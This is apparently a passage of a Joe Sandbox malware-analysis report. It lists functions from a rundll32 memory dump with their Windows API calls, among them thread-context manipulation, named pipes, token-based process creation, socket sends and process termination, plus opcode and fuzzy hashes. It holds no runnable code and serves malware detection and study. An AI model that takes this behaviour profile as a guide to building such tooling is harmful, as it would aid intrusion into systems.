GetThreadContext.KERNEL32(00000000,?), ref: 010A4411
SetThreadContext.KERNEL32(00000000,00010007), ref: 010A442C

Memory Dump Source

Source File: 00000007.00000002.779835594.00000000010A0000.00000020.00001000.00020000.00000000.sdmp, Offset: 010A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_10a0000_rundll32.jbxd

Yara matches

Similarity

API ID: Thread$Context$AddressCreateHandleModuleProcRemote
String ID:
API String ID: 1591005814-0
Opcode ID: 457415b29dbbd401f32b0f2db15a672f7a8ff1bd58ae7186b77ea8928d05ac55
Instruction ID: ce5b126565acb6f5c48aee9eeb47e6c860bee0df88a80414db45fc2faa2c6fbf
Opcode Fuzzy Hash: 457415b29dbbd401f32b0f2db15a672f7a8ff1bd58ae7186b77ea8928d05ac55
Instruction Fuzzy Hash: A111B235101116BFEB315FA5DC48EAF3FB8FF04650F544154FA4AE6140DA7688408FA1

Uniqueness

Uniqueness Score: -1.00%

Function 010A6071 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 59sleepnetworkCOMMONLIBRARYCODE

Download Yara Rule

APIs

select.WS2_32(00000000,00000000,?,?,00000000), ref: 010A60D0
__WSAFDIsSet.WS2_32(00000000,?), ref: 010A60E0
__WSAFDIsSet.WS2_32(00000000,?), ref: 010A60F3
WSAGetLastError.WS2_32(00000000,00000000,?,00000000,00000000,?,00000000,?,?,00000000), ref: 010A6111
Sleep.KERNEL32(000003E8,?,00000000), ref: 010A6123

Strings

d, xrefs: 010A6090

Memory Dump Source

Source File: 00000007.00000002.779835594.00000000010A0000.00000020.00001000.00020000.00000000.sdmp, Offset: 010A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_10a0000_rundll32.jbxd

Yara matches

Similarity

API ID: ErrorLastSleepselect
String ID: d
API String ID: 810482057-2564639436
Opcode ID: f914f67279ce69d859d852598085260a92a9921a4090d15c2508f5bf9c624fae
Instruction ID: ed87783365c8eb2505b6570c2af466e81a6fff0fa8f732b5c723ec979618292b
Opcode Fuzzy Hash: f914f67279ce69d859d852598085260a92a9921a4090d15c2508f5bf9c624fae
Instruction Fuzzy Hash: 8211C43184021DAFDB219FA4EC85BDDBBB8EF14310F1441BAE645E2191DB76AAC08FD0

Uniqueness

Uniqueness Score: -1.00%

Function 010A4CB7 Relevance: 9.1, APIs: 6, Instructions: 62pipeCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,00000000,00000000,00000000,?,010A4D99,010A4EAE,00000000,?,010A4EAE,?), ref: 010A4CDB
WaitNamedPipeA.KERNEL32(010A4EAE,00002710), ref: 010A4CF0
SetNamedPipeHandleState.KERNEL32(00000000,010A4EAE,00000000,00000000,?,00000000,00000000,00000000,?,010A4D99,010A4EAE,00000000,?,010A4EAE,?), ref: 010A4D1E
DisconnectNamedPipe.KERNEL32(00000000,?,00000000,00000000,00000000,?,010A4D99,010A4EAE,00000000,?,010A4EAE,?), ref: 010A4D2A
CloseHandle.KERNEL32(00000000,?,00000000,00000000,00000000,?,010A4D99,010A4EAE,00000000,?,010A4EAE,?), ref: 010A4D32

Memory Dump Source

Source File: 00000007.00000002.779835594.00000000010A0000.00000020.00001000.00020000.00000000.sdmp, Offset: 010A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_10a0000_rundll32.jbxd

Yara matches

Similarity

API ID: NamedPipe$Handle$CloseDisconnectErrorLastStateWait
String ID:
API String ID: 1490433849-0
Opcode ID: 7bffc28c5469ff20db4abb38e887b2439aa705ac84325b35dc12e0d7297b670c
Instruction ID: 619134c4329b485af6cf1fe31ce8077fbff6efd6be7c9b2ebdc9485ba9f7e0c1
Opcode Fuzzy Hash: 7bffc28c5469ff20db4abb38e887b2439aa705ac84325b35dc12e0d7297b670c
Instruction Fuzzy Hash: E6118BB1210114BFEB612FA8DC09F7B3ABCEB44302F144565F982EA294E6B399408B60

Uniqueness

Uniqueness Score: -1.00%

Function 010A27F1 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 181processCOMMONLIBRARYCODE

Download Yara Rule

APIs

_memset.LIBCMT ref: 010A281F
_memset.LIBCMT ref: 010A283B
CreateProcessWithTokenW.ADVAPI32(00000002,00000000,?,C0330CC4,00000000,?,F8E8296A,83FFFFE4), ref: 010A28C2

Strings

system32, xrefs: 010A2977

Memory Dump Source

Source File: 00000007.00000002.779835594.00000000010A0000.00000020.00001000.00020000.00000000.sdmp, Offset: 010A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_10a0000_rundll32.jbxd

Yara matches

Similarity

API ID: _memset$CreateProcessTokenWith
String ID: system32
API String ID: 355399865-3483537008
Opcode ID: bf6a515f27803c2b6dc1e96390a96356a009df27e20018143536526389c8b444
Instruction ID: 3ba21a7c1919a709ca8c13fd9adfa7dc796b6ff51513204b2b0cebeb86f375ff
Opcode Fuzzy Hash: bf6a515f27803c2b6dc1e96390a96356a009df27e20018143536526389c8b444
Instruction Fuzzy Hash: 2151E471608206AFD7219BA4DC80EEB77ECEF45750F44083AF9C9C3241E636D9188BA2

Uniqueness

Uniqueness Score: -1.00%

Function 010A94E4 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 145COMMONLIBRARYCODE

Download Yara Rule

APIs

__snprintf.LIBCMT ref: 010A952D
__snprintf.LIBCMT ref: 010A953F
_strncmp.LIBCMT ref: 010A9617

Strings

abcdefghijklmnop, xrefs: 010A95C9
123456789abcdefg, xrefs: 010A9514

Memory Dump Source

Source File: 00000007.00000002.779835594.00000000010A0000.00000020.00001000.00020000.00000000.sdmp, Offset: 010A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_10a0000_rundll32.jbxd

Yara matches

Similarity

API ID: __snprintf$_strncmp
String ID: 123456789abcdefg$abcdefghijklmnop
API String ID: 3493850238-2103250420
Opcode ID: 5e77aadf79d30596c6f17987f669b2c2c04ec39d3417d84b05c97f4db6726dfa
Instruction ID: 2761ca357ae4b2018e89a1eeccad813d669fea23c08d3af73237dc32efbbc9b1
Opcode Fuzzy Hash: 5e77aadf79d30596c6f17987f669b2c2c04ec39d3417d84b05c97f4db6726dfa
Instruction Fuzzy Hash: 2C41A37290050EBEEB01DFF8DA818EFB7B99F18204B540975E981FB051F671AF0887A1

Uniqueness

Uniqueness Score: -1.00%

Function 010A4777 Relevance: 7.6, APIs: 5, Instructions: 98threadCOMMONLIBRARYCODE

Download Yara Rule

APIs

_memset.LIBCMT ref: 010A478E
GetVersionExA.KERNEL32(?), ref: 010A47A7
SetLastError.KERNEL32(00000005), ref: 010A47C9
SetLastError.KERNEL32(00000006), ref: 010A484B
ResumeThread.KERNEL32(?), ref: 010A4856

Memory Dump Source

Source File: 00000007.00000002.779835594.00000000010A0000.00000020.00001000.00020000.00000000.sdmp, Offset: 010A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_10a0000_rundll32.jbxd

Yara matches

Similarity

API ID: ErrorLast$ResumeThreadVersion_memset
String ID:
API String ID: 2199783334-0
Opcode ID: c33b08ccf0fefb7a941d04f622dfc114e435e0c4d5be659491a29c3df8f9ab55
Instruction ID: 4b1f3d7119438f3075f6ee537c9398792bd2b9e1502aa2c7cf06d8deabe550ea
Opcode Fuzzy Hash: c33b08ccf0fefb7a941d04f622dfc114e435e0c4d5be659491a29c3df8f9ab55
Instruction Fuzzy Hash: 2631B176A40314AFEB708FA49C45F5B7AF8EB05711F5400A9FB89EB281D6B59904CB90

Uniqueness

Uniqueness Score: -1.00%

Function 010BD1E1 Relevance: 7.5, APIs: 5, Instructions: 47COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 010BD1ED

Part of subcall function 010B9035: __getptd_noexit.LIBCMT ref: 010B9038
Part of subcall function 010B9035: __amsg_exit.LIBCMT ref: 010B9045

__amsg_exit.LIBCMT ref: 010BD20D
__lock.LIBCMT ref: 010BD21D
InterlockedDecrement.KERNEL32(?), ref: 010BD23A
InterlockedIncrement.KERNEL32(010D0B98), ref: 010BD265

Memory Dump Source

Source File: 00000007.00000002.779835594.00000000010A0000.00000020.00001000.00020000.00000000.sdmp, Offset: 010A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_10a0000_rundll32.jbxd

Yara matches

Similarity

API ID: Interlocked__amsg_exit$DecrementIncrement__getptd__getptd_noexit__lock
String ID:
API String ID: 4271482742-0
Opcode ID: d4233fafe2b0109265ecd1d63f74e114a6bc1223eee3b51b4bca8b036b121250
Instruction ID: 2248dd107b3d9bb77189a93f5261ea220617296f194bf6e8a29bacd1c8dc4563
Opcode Fuzzy Hash: d4233fafe2b0109265ecd1d63f74e114a6bc1223eee3b51b4bca8b036b121250
Instruction Fuzzy Hash: 7F018431D05A129BDB71AFA8E485BDDBBA0BF25738F044045E9C8A7284CB39D941CFD5

Uniqueness

Uniqueness Score: -1.00%

Function 010AA76A Relevance: 7.5, APIs: 5, Instructions: 45COMMONLIBRARYCODE

Download Yara Rule

APIs

_malloc.LIBCMT ref: 010AA771

Part of subcall function 010B41C7: __FF_MSGBANNER.LIBCMT ref: 010B41EA
Part of subcall function 010B41C7: __NMSG_WRITE.LIBCMT ref: 010B41F1
Part of subcall function 010B41C7: RtlAllocateHeap.NTDLL(00000000,?,?,00004008,010D65EC,?,010A006E,00004008), ref: 010B423E

_malloc.LIBCMT ref: 010AA77E
_malloc.LIBCMT ref: 010AA799
__snprintf.LIBCMT ref: 010AA7AC
_malloc.LIBCMT ref: 010AA7CB

Memory Dump Source

Source File: 00000007.00000002.779835594.00000000010A0000.00000020.00001000.00020000.00000000.sdmp, Offset: 010A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_10a0000_rundll32.jbxd

Yara matches

Similarity

API ID: _malloc$AllocateHeap__snprintf
String ID:
API String ID: 3929630252-0
Opcode ID: 82aa4ee4c88dcd1a6ad73a5f7285788060470085ad6832d210727c329d77512f
Instruction ID: 0f225cc11d4f8a475b3633612f77fd438b1d80e69dcbc8eab63fa0ca1320dc0f
Opcode Fuzzy Hash: 82aa4ee4c88dcd1a6ad73a5f7285788060470085ad6832d210727c329d77512f
Instruction Fuzzy Hash: 92014470A403066FD7109F79DCC4DD6BFE8DF64650B008929B4DACB202D674E54487A0

Uniqueness

Uniqueness Score: -1.00%

Function 010A9F20 Relevance: 7.5, APIs: 5, Instructions: 38threadsleepsynchronizationCOMMONLIBRARYCODE

Download Yara Rule

APIs

Sleep.KERNEL32(000003E8,00000000,00000000,010A0662), ref: 010A9F4B
RtlExitUserThread.NTDLL(00000000,00000000,00000000,010A0662), ref: 010A9F55
CreateThread.KERNEL32(00000000,00000000,00000000,00000000,00000000,000000FF), ref: 010A9F6F
WaitForSingleObject.KERNEL32(00000000), ref: 010A9F76
ExitProcess.KERNEL32 ref: 010A9F81

Memory Dump Source

Source File: 00000007.00000002.779835594.00000000010A0000.00000020.00001000.00020000.00000000.sdmp, Offset: 010A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_10a0000_rundll32.jbxd

Yara matches

Similarity

API ID: ExitThread$CreateObjectProcessSingleSleepUserWait
String ID:
API String ID: 1687837935-0
Opcode ID: 91bcf569392937b07ef62d10f78553cd22e5cf112b7d4b1b928b31ad48c4193f
Instruction ID: 97a78d956c4795e2b05818f6881e00aee622e358a1ca1faf2e8f1f1ed4492ad9
Opcode Fuzzy Hash: 91bcf569392937b07ef62d10f78553cd22e5cf112b7d4b1b928b31ad48c4193f
Instruction Fuzzy Hash: 5BF08972B44220BEDE7127E96C08FFF365CDBD5227F550111FDD99A2C5CA2748408B20

Uniqueness

Uniqueness Score: -1.00%

Function 010A2C43 Relevance: 6.1, APIs: 4, Instructions: 143COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 010A5B90: _malloc.LIBCMT ref: 010A5B96
Part of subcall function 010A5B90: _malloc.LIBCMT ref: 010A5BA6

Part of subcall function 010B4BE8: __fsopen.LIBCMT ref: 010B4BF5

_fseek.LIBCMT ref: 010A2CB9

Part of subcall function 010B5222: __lock_file.LIBCMT ref: 010B5231
Part of subcall function 010B5222: __ftelli64_nolock.LIBCMT ref: 010B523E

_fseek.LIBCMT ref: 010A2CD2

Part of subcall function 010B55B3: __lock_file.LIBCMT ref: 010B55FE
Part of subcall function 010B55B3: __fseek_nolock.LIBCMT ref: 010B560E

GetFullPathNameA.KERNEL32(010CC6D4,00000800,?,00000000,?,?,?,?,?,?,?,?,?,?,?,010A0551), ref: 010A2CFF
_malloc.LIBCMT ref: 010A2D19

Memory Dump Source

Source File: 00000007.00000002.779835594.00000000010A0000.00000020.00001000.00020000.00000000.sdmp, Offset: 010A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_10a0000_rundll32.jbxd

Yara matches

Similarity

API ID: _malloc$__lock_file_fseek$FullNamePath__fseek_nolock__fsopen__ftelli64_nolock
String ID:
API String ID: 73014519-0
Opcode ID: a01cfc6bf62230f1e6c9ead1b84003a94917cc54835b7f0a052ffc1653e5b4c8
Instruction ID: 5c4be7f33a65f1790a0ff182210c401326853f97348497440749ab133b1c7346
Opcode Fuzzy Hash: a01cfc6bf62230f1e6c9ead1b84003a94917cc54835b7f0a052ffc1653e5b4c8
Instruction Fuzzy Hash: 4241B572900209AFDF10BBE4CC81FDEBBB8BF58710F504529F5D4B6295EA7596408B61

Uniqueness

Uniqueness Score: -1.00%

Function 010B4BFF Relevance: 6.1, APIs: 4, Instructions: 137COMMONLIBRARYCODE

Download Yara Rule

APIs

__flush.LIBCMT ref: 010B4CC3
__fileno.LIBCMT ref: 010B4CE3
__locking.LIBCMT ref: 010B4CEA
__flsbuf.LIBCMT ref: 010B4D15

Part of subcall function 010B5D7A: __getptd_noexit.LIBCMT ref: 010B5D7A

Part of subcall function 010B7E78: __decode_pointer.LIBCMT ref: 010B7E83

Memory Dump Source

Source File: 00000007.00000002.779835594.00000000010A0000.00000020.00001000.00020000.00000000.sdmp, Offset: 010A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_10a0000_rundll32.jbxd

Yara matches

Similarity

API ID: __decode_pointer__fileno__flsbuf__flush__getptd_noexit__locking
String ID:
API String ID: 3240763771-0
Opcode ID: 4f33f4342aa81be682ee8529de8ddf7a9f1dcf969045443942705e403fed9378
Instruction ID: 995b83fe0b890cd7594ec7204aa75e403d946e164964936eeb4cffa6475695c6
Opcode Fuzzy Hash: 4f33f4342aa81be682ee8529de8ddf7a9f1dcf969045443942705e403fed9378
Instruction Fuzzy Hash: D041B131A00609EBDBA59F6D88C05DEBBF6AF80660F2485A9E4E7D7242D770DF418B40

Uniqueness

Uniqueness Score: -1.00%

Function 010A2AF0 Relevance: 6.1, APIs: 4, Instructions: 130processCOMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 010A5B90: _malloc.LIBCMT ref: 010A5B96
Part of subcall function 010A5B90: _malloc.LIBCMT ref: 010A5BA6

_memset.LIBCMT ref: 010A2B53
GetStartupInfoA.KERNEL32(?), ref: 010A2B6B
CreateProcessWithLogonW.ADVAPI32(?,?,?,00000001,00000000,00000000,00000000,00000000,00000000,?,010A1A77), ref: 010A2C05
GetLastError.KERNEL32 ref: 010A2C14

Part of subcall function 010A0F8C: _vswprintf_s.LIBCMT ref: 010A0FA8

Memory Dump Source

Source File: 00000007.00000002.779835594.00000000010A0000.00000020.00001000.00020000.00000000.sdmp, Offset: 010A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_10a0000_rundll32.jbxd

Yara matches

Similarity

API ID: _malloc$CreateErrorInfoLastLogonProcessStartupWith_memset_vswprintf_s
String ID:
API String ID: 709525413-0
Opcode ID: 3e90748c6aa0ab47ae28a9d92364eac1297a14ca55735b02ad431f296755058b
Instruction ID: 28c9d640efa7f38c28c371b448f41a225011bddea87f9717ddc6edff72ec8bbf
Opcode Fuzzy Hash: 3e90748c6aa0ab47ae28a9d92364eac1297a14ca55735b02ad431f296755058b
Instruction Fuzzy Hash: 31413372900209BADB11AFE6DC44EDFBFB9EF99340F504025F648A6160D6758A11CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 010A4DF3 Relevance: 6.1, APIs: 4, Instructions: 106sleepCOMMONLIBRARYCODE

Download Yara Rule

APIs

_memset.LIBCMT ref: 010A4E0D
_memset.LIBCMT ref: 010A4E25

Part of subcall function 010A4D50: GetLastError.KERNEL32(00000000,00000000,?,010A4EAE,?), ref: 010A4D6A

Sleep.KERNEL32(000001F4), ref: 010A4EB8
GetLastError.KERNEL32 ref: 010A4EC4

Memory Dump Source

Source File: 00000007.00000002.779835594.00000000010A0000.00000020.00001000.00020000.00000000.sdmp, Offset: 010A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_10a0000_rundll32.jbxd

Yara matches

Similarity

API ID: ErrorLast_memset$Sleep
String ID:
API String ID: 4288913296-0
Opcode ID: e38ef9f1165ec567dbf8e2404f38d63758b2412c4d3ad1b60d41accf900d5677
Instruction ID: 5107694f299ff5f23e9126cb1f223f42250b8635ca62cdd3ac704ea60be50e8a
Opcode Fuzzy Hash: e38ef9f1165ec567dbf8e2404f38d63758b2412c4d3ad1b60d41accf900d5677
Instruction Fuzzy Hash: DD31B376D0421E6EDF11EBE4DC81EEE7BBCEF14314F540066E684E6080EA759A088B61

Uniqueness

Uniqueness Score: -1.00%

Function 010BED98 Relevance: 6.1, APIs: 4, Instructions: 103COMMONLIBRARYCODE

Download Yara Rule

APIs

_LocaleUpdate::_LocaleUpdate.LIBCMT ref: 010BEDCC
__isleadbyte_l.LIBCMT ref: 010BEE00
MultiByteToWideChar.KERNEL32(858D010D,00000009,010CC524,8D010D2C,010CC524,00000000,?,?,?,010A128A,010CC524,010CC524,00000000), ref: 010BEE31
MultiByteToWideChar.KERNEL32(858D010D,00000009,010CC524,00000001,010CC524,00000000,?,?,?,010A128A,010CC524,010CC524,00000000), ref: 010BEE9F

Memory Dump Source

Source File: 00000007.00000002.779835594.00000000010A0000.00000020.00001000.00020000.00000000.sdmp, Offset: 010A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_10a0000_rundll32.jbxd

Yara matches

Similarity

API ID: ByteCharLocaleMultiWide$UpdateUpdate::___isleadbyte_l
String ID:
API String ID: 3058430110-0
Opcode ID: d7215d25df1e7a8e822e514b379916c3df117699ab6ce8e4e720e72bcd48c552
Instruction ID: e306e38f831c69b53688c440894890a9cc238d70ae1b095ae8b7743f9d129f8e
Opcode Fuzzy Hash: d7215d25df1e7a8e822e514b379916c3df117699ab6ce8e4e720e72bcd48c552
Instruction Fuzzy Hash: 2E318931A00246EFEB21EF6CC8C4AEE7BA5EF01351F1989A9E5A18B291D771D940CB50

Uniqueness

Uniqueness Score: -1.00%

Function 010A3B9A Relevance: 6.1, APIs: 4, Instructions: 92sleeppipeCOMMONLIBRARYCODE

Download Yara Rule

APIs

_memset.LIBCMT ref: 010A3BB5
CreatePipe.KERNEL32(?,00000000,?,00100000,?,00000000), ref: 010A3BEC
GetStartupInfoA.KERNEL32(?), ref: 010A3BF6
Sleep.KERNEL32(00000064,?,?,?,?,?,00000000), ref: 010A3C32

Memory Dump Source

Source File: 00000007.00000002.779835594.00000000010A0000.00000020.00001000.00020000.00000000.sdmp, Offset: 010A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_10a0000_rundll32.jbxd

Yara matches

Similarity

API ID: CreateInfoPipeSleepStartup_memset
String ID:
API String ID: 112726305-0
Opcode ID: 8fa920ad1337a0c565ed08e6c902933576dc5684f33133659a20c7628e5d44a4
Instruction ID: 2f9960aa4441b3abf1c8f82f40a5c15eec454899032e312cae6931842ac43bf7
Opcode Fuzzy Hash: 8fa920ad1337a0c565ed08e6c902933576dc5684f33133659a20c7628e5d44a4
Instruction Fuzzy Hash: 0931367280020DAFDF11EFE4DC46ACEBBB9EF08314F140126FA44A6151EB729654CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 010A1A94 Relevance: 6.1, APIs: 4, Instructions: 72synchronizationpipeCOMMONLIBRARYCODE

Download Yara Rule

APIs

_memset.LIBCMT ref: 010A1AA7
CreatePipe.KERNEL32(00000000,00000002,?,00100000,?,00000000,00002000), ref: 010A1ADD
GetStartupInfoA.KERNEL32(?), ref: 010A1AE7
WaitForSingleObject.KERNEL32(?,00002710,?,?,?,?,?,?,?,00000000,00002000), ref: 010A1B2B

Memory Dump Source

Source File: 00000007.00000002.779835594.00000000010A0000.00000020.00001000.00020000.00000000.sdmp, Offset: 010A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_10a0000_rundll32.jbxd

Yara matches

Similarity

API ID: CreateInfoObjectPipeSingleStartupWait_memset
String ID:
API String ID: 468459245-0
Opcode ID: 7a54561c13bbae11dc277843879746c5c7040fd8bdba48b5706fdebb7278b796
Instruction ID: 1def19ae788b3732c48c7d5e93b91ce149d2aa2148ce2b4761f459aef33f9f49
Opcode Fuzzy Hash: 7a54561c13bbae11dc277843879746c5c7040fd8bdba48b5706fdebb7278b796
Instruction Fuzzy Hash: BF21E87290011CBEDF11DFE9DD45ADEBBB9FF48300F14045AEA04E6141E7B69A158BA1

Uniqueness

Uniqueness Score: -1.00%

Function 010A013A Relevance: 6.1, APIs: 4, Instructions: 71COMMONLIBRARYCODE

Download Yara Rule

APIs

_malloc.LIBCMT ref: 010A014F

Part of subcall function 010B41C7: __FF_MSGBANNER.LIBCMT ref: 010B41EA
Part of subcall function 010B41C7: __NMSG_WRITE.LIBCMT ref: 010B41F1
Part of subcall function 010B41C7: RtlAllocateHeap.NTDLL(00000000,?,?,00004008,010D65EC,?,010A006E,00004008), ref: 010B423E

_memset.LIBCMT ref: 010A01A4
_memset.LIBCMT ref: 010A01B3
_memset.LIBCMT ref: 010A01CA

Memory Dump Source

Source File: 00000007.00000002.779835594.00000000010A0000.00000020.00001000.00020000.00000000.sdmp, Offset: 010A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_10a0000_rundll32.jbxd

Yara matches

Similarity

API ID: _memset$AllocateHeap_malloc
String ID:
API String ID: 1114209484-0
Opcode ID: ef80344e12bce59f744b4d3c7d72c0a8a0400811d983817b98784ac0af232585
Instruction ID: 0a4f538b2e156603134b4019a37b16e6d31db5196c4969c37489602b16705a38
Opcode Fuzzy Hash: ef80344e12bce59f744b4d3c7d72c0a8a0400811d983817b98784ac0af232585
Instruction Fuzzy Hash: FE11087160014A7AD7116AB88CC0AF67FAEDF57164F900494F9D997247E322A904C6A0

Uniqueness

Uniqueness Score: -1.00%

Function 010A9AD5 Relevance: 6.1, APIs: 4, Instructions: 68COMMONLIBRARYCODE

Download Yara Rule

APIs

_malloc.LIBCMT ref: 010A9AF7
_strncpy.LIBCMT ref: 010A9B17
_strtok.LIBCMT ref: 010A9B2F
_strtok.LIBCMT ref: 010A9B4F

Part of subcall function 010B57BD: __getptd.LIBCMT ref: 010B57DB

Memory Dump Source

Source File: 00000007.00000002.779835594.00000000010A0000.00000020.00001000.00020000.00000000.sdmp, Offset: 010A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_10a0000_rundll32.jbxd

Yara matches

Similarity

API ID: _strtok$__getptd_malloc_strncpy
String ID:
API String ID: 4272429445-0
Opcode ID: d4118b0c00cdbbdea35268101805851a32169296bffaa04fea50c770c6e19fdd
Instruction ID: 4d40631b382c8cdd962f5dc94d0731119d89e80daead9b34d8b0a4d7d3f4a14a
Opcode Fuzzy Hash: d4118b0c00cdbbdea35268101805851a32169296bffaa04fea50c770c6e19fdd
Instruction Fuzzy Hash: 0D1129316152029FDB249FB4F894AF63BA8EB11368F804259DCC5CB289EB779441CF80

Uniqueness

Uniqueness Score: -1.00%

Function 010A1DDA Relevance: 6.1, APIs: 4, Instructions: 68sleepnetworkCOMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 010A1638: WSAStartup.WS2_32(00000202,?), ref: 010A1656
Part of subcall function 010A1638: WSACleanup.WS2_32 ref: 010A1660

Sleep.KERNEL32(000003E8,?,?,?,00000001,?,?,00000000,?,?,00000000), ref: 010A1E5C
Sleep.KERNEL32(000003E8,00000000,00000000,?,00000000,?,?,?,00000001,?,?,00000000,?,?,00000000), ref: 010A1E75
closesocket.WS2_32(00000000), ref: 010A1E7C
send.WS2_32(00000000,00000000,?,00000000), ref: 010A1E8F

Memory Dump Source

Source File: 00000007.00000002.779835594.00000000010A0000.00000020.00001000.00020000.00000000.sdmp, Offset: 010A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_10a0000_rundll32.jbxd

Yara matches

Similarity

API ID: Sleep$CleanupStartupclosesocketsend
String ID:
API String ID: 1361746272-0
Opcode ID: f22914297204e9cbf2fb749bcd7ad1450ba17286d97e9e1a7b09ce62edb1fccf
Instruction ID: 255c2d29d0dede750683dea148d74dea726d2cb7f127ae42d30c4f515b1814d8
Opcode Fuzzy Hash: f22914297204e9cbf2fb749bcd7ad1450ba17286d97e9e1a7b09ce62edb1fccf
Instruction Fuzzy Hash: 0E118272D0021DAFDF11BBF4DC818DE7B7CFF18320F544626E661A61D1EA7696408B61

Uniqueness

Uniqueness Score: -1.00%

Function 010A97C8 Relevance: 6.1, APIs: 4, Instructions: 63COMMONLIBRARYCODE

Download Yara Rule

APIs

_memset.LIBCMT ref: 010A982A
_memset.LIBCMT ref: 010A983E
_memset.LIBCMT ref: 010A984F
_memset.LIBCMT ref: 010A9858

Memory Dump Source

Source File: 00000007.00000002.779835594.00000000010A0000.00000020.00001000.00020000.00000000.sdmp, Offset: 010A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_10a0000_rundll32.jbxd

Yara matches

Similarity

API ID: _memset
String ID:
API String ID: 2102423945-0
Opcode ID: 35d890c6fb8abe7c0505dee15f4bf9ea64bfb3e37ceda5af13b64803ae899bc4
Instruction ID: 45782656b143db044bed8148e4aace0d18e9992e06f2ad4a11b9a5306e1ccac4
Opcode Fuzzy Hash: 35d890c6fb8abe7c0505dee15f4bf9ea64bfb3e37ceda5af13b64803ae899bc4
Instruction Fuzzy Hash: 2501C471200209FFDB213AF59C80DEF3F9DEF556A4F808835FA888A101E67A8400CBB1

Uniqueness

Uniqueness Score: -1.00%

Function 010AAA08 Relevance: 6.0, APIs: 4, Instructions: 50COMMONLIBRARYCODE

Download Yara Rule

APIs

_clock.LIBCMT ref: 010AAA24
_clock.LIBCMT ref: 010AAA32
_clock.LIBCMT ref: 010AAA3C
_clock.LIBCMT ref: 010AAA4A

Memory Dump Source

Source File: 00000007.00000002.779835594.00000000010A0000.00000020.00001000.00020000.00000000.sdmp, Offset: 010A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_10a0000_rundll32.jbxd

Yara matches

Similarity

API ID: _clock
String ID:
API String ID: 876827150-0
Opcode ID: c918077cbdba4abde34237b4b82c4e35b187e0ff10ad7a8b9c4aa903bd7d21b7
Instruction ID: df8d30460f029d87683bcfe064fc724f6a0e4da444b41c036a0167d8390b252b
Opcode Fuzzy Hash: c918077cbdba4abde34237b4b82c4e35b187e0ff10ad7a8b9c4aa903bd7d21b7
Instruction Fuzzy Hash: DB014C35E01619EF8B61DFE895E06EDBFF4FB21640F5081AAD582A7181E7704A44CFA0

Uniqueness

Uniqueness Score: -1.00%

Function 010A9A3A Relevance: 6.0, APIs: 4, Instructions: 49COMMONLIBRARYCODE

Download Yara Rule

APIs

_strtok.LIBCMT ref: 010A9A4F

Part of subcall function 010B57BD: __getptd.LIBCMT ref: 010B57DB

Part of subcall function 010B40EA: __lock.LIBCMT ref: 010B4108
Part of subcall function 010B40EA: ___sbh_find_block.LIBCMT ref: 010B4113
Part of subcall function 010B40EA: ___sbh_free_block.LIBCMT ref: 010B4122
Part of subcall function 010B40EA: RtlFreeHeap.NTDLL(00000000,?,010CE5C8,0000000C,010B5FC4,00000000,010CE728,0000000C,010B5FFE,?,?,?,010BF821,00000004,010CEA88,0000000C), ref: 010B4152
Part of subcall function 010B40EA: GetLastError.KERNEL32(?,010BF821,00000004,010CEA88,0000000C,010BC1F3,?,?,00000000,00000000,00000000,?,010B8FE7,00000001,00000214), ref: 010B4163

_malloc.LIBCMT ref: 010A9A78
_strncpy.LIBCMT ref: 010A9A98
_strtok.LIBCMT ref: 010A9AA4

Memory Dump Source

Source File: 00000007.00000002.779835594.00000000010A0000.00000020.00001000.00020000.00000000.sdmp, Offset: 010A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_10a0000_rundll32.jbxd

Yara matches

Similarity

API ID: _strtok$ErrorFreeHeapLast___sbh_find_block___sbh_free_block__getptd__lock_malloc_strncpy
String ID:
API String ID: 1160209254-0
Opcode ID: 1ba1e9e6c0ea6dceb45040fa1257d87ce21025dc76fe46810308b1563a237be5
Instruction ID: 748273add807b646fae022701e34de7509f154e226d14b4c958a28eb5c219e8c
Opcode Fuzzy Hash: 1ba1e9e6c0ea6dceb45040fa1257d87ce21025dc76fe46810308b1563a237be5
Instruction Fuzzy Hash: C9014935204142EADF196F78FCA8EF63FB9DB52314B00029AF9C987112DA6395058790

Uniqueness

Uniqueness Score: -1.00%

Function 010A7821 Relevance: 6.0, APIs: 4, Instructions: 46COMMONLIBRARYCODE

Download Yara Rule

APIs

OpenProcess.KERNEL32(00000001,00000000,00000000), ref: 010A7858
TerminateProcess.KERNEL32(00000000,00000000), ref: 010A7867
